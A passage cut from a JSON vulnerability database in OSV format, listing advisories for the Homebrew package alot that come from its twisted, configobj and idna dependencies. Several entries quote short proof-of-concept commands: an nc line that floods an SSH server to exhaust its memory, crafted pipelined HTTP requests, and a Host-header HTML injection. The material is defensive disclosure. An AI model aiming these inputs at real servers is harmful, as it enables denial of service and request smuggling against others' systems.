request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10108"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-259.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/blob/6ff2c40e42416c83203422ff70dfc49d2681c8e2/NEWS.rst#twisted-2030-2020-03-13"},{"type":"WEB","url":"https://know.bishopfox.com/advisories"},{"type":"WEB","url":"https://know.bishopfox.com/advisories/twisted-version-19.10.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6ISMZFZBWW4EV6ETJGXAYIXN3AT7GBPL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YW3NIL7VXSGJND2Q4BSXM3CFTAFU6T7D"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202007-24"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2020.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2020-10109","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-p5xh-vx83-mxcj","CVE-2020-10109","PYSEC-2020-260"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"HTTP Request Smuggling in Twisted","details":"In Twisted Web through 20.3.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10109"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p5xh-vx83-mxcj"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-260.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/blob/6ff2c40e42416c83203422ff70dfc49d2681c8e2/NEWS.rst#twisted-2030-2020-03-13"},{"type":"WEB","url":"https://know.bishopfox.com/advisories"},{"type":"WEB","url":"https://know.bishopfox.com/advisories/twisted-version-19.10.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6ISMZFZBWW4EV6ETJGXAYIXN3AT7GBPL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YW3NIL7VXSGJND2Q4BSXM3CFTAFU6T7D"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202007-24"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-21712","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-92x2-jw7w-xvvx","CVE-2022-21712","PYSEC-2022-27"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.1.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Cookie and header exposure in twisted","details":"### Impact\n\nCookie and Authorization headers are leaked when following cross-origin redirects in `twited.web.client.RedirectAgent` and `twisted.web.client.BrowserLikeRedirectAgent`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-92x2-jw7w-xvvx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21712"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/af8fe78542a6f2bf2235ccee8158d9c88d31e8e2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-27.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.1.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://pypi.org/project/Twisted"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-21716","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-rv6r-3f5q-9rgx","CVE-2022-21716","PYSEC-2022-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.2.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted SSH client and server deny of service during SSH handshake.","details":"### Impact\n\nThe Twisted SSH client and server implementation naively accepted an infinite amount of data for the peer's SSH version identifier.\n\nA malicious peer can trivially craft a request that uses all available memory and crash the server, resulting in denial of service. The attack is as simple as `nc -rv localhost 22 < /dev/zero`.\n\n### Patches\n\nThe issue was fix in GitHub commit https://github.com/twisted/twisted/commit/98387b39e9f0b21462f6abc7a1325dc370fcdeb1\n\nA fix is available in Twisted 22.2.0.\n\n### Workarounds\n\n* Limit access to the SSH server only to trusted source IP addresses.\n* Connect over SSH only to trusted destination IP addresses.\n\n### References\n\nReported at https://twistedmatrix.com/trac/ticket/10284\nDiscussions at https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx\n\n### For more information\n\nFound by vin01","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-rv6r-3f5q-9rgx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21716"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/89c395ee794e85a9657b112c4351417850330ef9"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/98387b39e9f0b21462f6abc7a1325dc370fcdeb1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-160.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.2.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/03/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/10284"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-24801","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-c2jg-hw38-jrqq","CVE-2022-24801","PYSEC-2022-195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.4.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Inconsistent Interpretation of HTTP Requests in twisted.web","details":"The Twisted Web HTTP 1.1 server, located in the `twisted.web.http` module, parsed several HTTP request constructs more leniently than permitted by RFC 7230:\n\n1. The Content-Length header value could have a `+` or `-` prefix.\n2. Illegal characters were permitted in chunked extensions, such as the LF (`\\n`) character.\n3. Chunk lengths, which are expressed in hexadecimal format, could have a prefix of `0x`.\n4. HTTP headers were stripped of all leading and trailing ASCII whitespace, rather than only space and HTAB (`\\t`).\n\nThis non-conformant parsing can lead to desync if requests pass through multiple HTTP parsers, potentially resulting in HTTP request smuggling.\n\n### Impact\n\nYou may be affected if:\n\n1. You use Twisted Web's HTTP 1.1 server and/or proxy\n2. You also pass requests through a different HTTP server and/or proxy\n\nThe specifics of the other HTTP parser matter. The original report notes that some versions of Apache Traffic Server and HAProxy have been vulnerable in the past. HTTP request smuggling may be a serious concern if you use a proxy to perform request validation or access control.\n\nThe Twisted Web client is not affected. The HTTP 2.0 server uses a different parser, so it is not affected.\n\n### Patches\n\nThe issue has been addressed in Twisted 22.4.0rc1 and later.\n\n### Workarounds\n\nOther than upgrading Twisted, you could:\n\n* Ensure any vulnerabilities in upstream proxies have been addressed, such as by upgrading them\n* Filter malformed requests by other means, such as configuration of an upstream proxy\n\n### Credits\n\nThis issue was initially reported by [Zhang Zeyu](https://github.com/zeyu2001).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-c2jg-hw38-jrqq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24801"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/592217e951363d60e9cd99c5bbfd23d4615043ac"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2022-195.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-22.4.0rc1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/05/msg00003.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7U6KYDTOLPICAVSR34G2WRYLFBD2YW5K"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GLKHA6WREIVAMBQD7KKWYHPHGGNKMAG6"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2022-39348","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-vg46-2rrj-3647","CVE-2022-39348","PYSEC-2026-1055"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"22.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted vulnerable to NameVirtualHost Host header injection","details":"When the host header does not match a configured host, `twisted.web.vhost.NameVirtualHost` will return a `NoResource` resource which renders the Host header unescaped into the 404 response allowing HTML and script injection.\n\nExample configuration:\n```python\nfrom twisted.web.server import Site\nfrom twisted.web.vhost import NameVirtualHost\nfrom twisted.internet import reactor\n\nresource = NameVirtualHost()\nsite = Site(resource)\nreactor.listenTCP(8080, site)\nreactor.run()\n```\nOutput:\n```\n❯ curl -H\"Host:

    HELLO THERE

    \" http://localhost:8080/\n\n\n 404 - No Such Resource\n \n

    No Such Resource

    \n

    host b'

    hello there

    ' not in vhost map

    \n \n\n```\n\nThis vulnerability was introduced in f49041bb67792506d85aeda9cf6157e92f8048f4 and first appeared in the 0.9.4 release.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-vg46-2rrj-3647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-39348"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/f2f5e81c03f14e253e85fe457e646130780db40b"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/f49041bb67792506d85aeda9cf6157e92f8048f4"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/11/msg00038.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202301-02"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2023-26112","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-c33w-24p9-8m24","CVE-2023-26112","PYSEC-2026-1270"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.9","resource":"configobj","resource_purl":"pkg:pypi/configobj@5.0.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"configobj","subject_version":"5.0.9","key":"pkg:pypi/configobj@5.0.9","resource":"configobj"}]},"summary":"configobj ReDoS exploitable by developer using values in a server-side configuration file","details":"All versions of the package configobj are vulnerable to Regular Expression Denial of Service (ReDoS) via the validate function, using (.+?)\\((.*)\\). **Note:** This is only exploitable in the case of a developer, putting the offending value in a server side configuration file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26112"},{"type":"WEB","url":"https://github.com/DiffSK/configobj/issues/232"},{"type":"WEB","url":"https://github.com/DiffSK/configobj/commit/7c618b0bbaff6ecaca51a6f05b29795d1377a4a5"},{"type":"PACKAGE","url":"https://github.com/DiffSK/configobj"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6BO4RLMYEJODCNUE3DJIIUUFVTPAG6VN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZHY7B33EFY4LESP2NI4APQUPRROTAZK"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PYU4IHVLOTYMFPH7KDOJGKZQR4GKWPFK"},{"type":"WEB","url":"https://pypi.org/project/configobj/5.0.9"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-PYTHON-CONFIGOBJ-3252494"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2023-46137","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-xc8x-vp79-p3wm","CVE-2023-46137","PYSEC-2023-224"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"23.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"twisted.web has disordered HTTP pipeline response","details":"Twisted is an event-based framework for internet applications. Prior to version 23.10.0rc1, when sending multiple HTTP requests in one TCP packet, twisted.web will process the requests asynchronously without guaranteeing the response order. If one of the endpoints is controlled by an attacker, the attacker can delay the response on purpose to manipulate the response of the second request when a victim launched two requests using HTTP pipeline. Version 23.10.0rc1 contains a patch for this issue.\n\n### Details\nThere's an example faulty program:\n```python\nfrom twisted.internet import reactor, endpoints\nfrom twisted.web import server\nfrom twisted.web.proxy import ReverseProxyResource\nfrom twisted.web.resource import Resource\n\nclass Second(Resource):\n isLeaf = True\n def render_GET(self, request):\n return b'SECOND\\n'\n\nclass First(Resource):\n isLeaf = True\n def render_GET(self, request):\n def send_response():\n request.write(b'FIRST DELAYED\\n')\n request.finish()\n reactor.callLater(0.5, send_response)\n return server.NOT_DONE_YET\n\nroot = Resource()\n\nroot.putChild(b'second', Second())\nroot.putChild(b'first', First())\n\nendpoint = endpoints.TCP4ServerEndpoint(reactor, 8080)\nendpoint.listen(server.Site(root))\nreactor.run()\n```\n\nWhen two requests for `/first` and `/second` are sent in the same order, the second request will be responded to first.\n```shell\necho -en \"GET /first HTTP/1.1\\r\\nHost: a\\r\\n\\r\\nGET /second HTTP/1.1\\r\\nHost: a\\r\\n\\r\\n\" | nc localhost 8080\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46137"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2023-224.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.15"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.15","key":"pkg:pypi/idna@3.15","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-41671","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-c8m8-j448-xjx7","CVE-2024-41671","PYSEC-2026-1992"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"24.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"twisted.web has disordered HTTP pipeline response","details":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n && git clone --recurse-submodules https://github.com/twisted/twisted \\\n && cd twisted \\\n && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n isLeaf = True\n\n def render_GET(self, request) -> bytes:\n return b\"GET\"\n\n def render_POST(self, request) -> bytes:\n return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-41810","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-cf56-g6w6-pqq2","CVE-2024-41810","PYSEC-2024-75"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"24.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted vulnerable to HTML injection in HTTP redirect body","details":"### Summary\n\nThe `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.\n\n### Details\nTwisted’s `redirectTo` function generates an `HTTP 302 Redirect` response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.\n\nThe function reflects the destination URL in the HTML body without any output encoding. \n```python\n# https://github.com/twisted/twisted/blob/trunk/src/twisted/web/_template_util.py#L88\ndef redirectTo(URL: bytes, request: IRequest) -> bytes:\n # ---snip---\n content = b\"\"\"\n\n \n \n \n \n click here\n 